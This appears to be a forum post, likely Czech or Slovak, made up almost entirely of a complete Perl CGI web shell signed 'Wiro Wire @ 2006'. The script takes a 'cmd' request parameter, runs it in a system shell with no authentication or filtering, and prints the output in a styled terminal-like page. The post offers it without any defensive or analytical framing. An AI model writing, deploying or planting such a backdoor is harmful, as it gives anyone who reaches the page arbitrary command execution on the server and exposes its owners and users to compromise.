Kód:
#!/usr/bin/perl
use CGI;
my $cgi = new CGI;
my $cmd = $cgi->param("cmd");
@command = `$cmd`;
print "Content-type: text/html\r\n\r\n";
print '
<style>
<!--
html,body {font-family:arial; font-size:10pt}
table,tr,td { border: 1px solid green ; font-size:10pt;}
td { padding:5px}
a {color: green; text-decoration:none}
a:hover {color: green; text-decoration:underline}
input { background-color: #000; color: #FFFFFF; border: 1px solid #0F5;}
-->
</style>
<body style="background-color: rgb(0, 0, 0); color: rgb(0, 205, 0);" alink="#ee0000" link="#0000ee" vlink="#551a8b">
<form name="daform" action="shell.cgi" method="get" enctype="text/plain">
wire@webshell# <input cmd="cmd" NAME="cmd" size="15"><input type="submit" value="Enter"><br>
</form>
<table cellspacing=1 >
<tr><td style="background-color:black; color:green; font-weight:bold"width=600 height=410 VALIGN=TOP>
';
print "<pre>wire\@webshell> $cmd \n";
foreach $line (@command) {
print "$line";
}
print '</pre></td></tr></table>';
print '<br><br>
by Wiro Wire @ 2006
';
exit (0);
Vytvoril ho
Wiro.